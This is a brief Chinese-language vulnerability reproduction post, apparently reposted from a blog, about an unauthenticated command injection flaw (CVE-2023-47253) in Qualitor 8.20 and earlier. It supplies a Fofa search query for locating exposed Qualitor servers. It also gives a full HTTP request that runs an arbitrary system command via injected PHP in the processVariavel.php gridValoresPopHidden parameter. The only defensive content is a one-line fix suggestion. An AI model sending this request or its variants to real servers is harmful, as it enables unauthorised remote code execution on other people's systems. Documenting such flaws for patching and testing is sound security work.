Qualitor processVariavel.php 未授权命令注入漏洞复现(CVE-2023-47253)
0x01 漏洞描述：
Qualitor 8.20及之前版本存在命令注入漏洞，远程攻击者可利用该漏洞通过PHP代码执行任意代码，利用难度较低危害较大。
0x02 影响版本：
Qualitor <= 8.20
0x03 搜索语句：
Fofa:app="Qualitor-Web"
0x04 漏洞复现：
GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("netstat%20-ano"); HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive
0x05 修复建议：
对接口入参进行严格防护，限制特殊字符输入
参考：
Qualitor processVariavel.php 未授权命令注入漏洞复现(CVE-2023-47253)-CSDN博客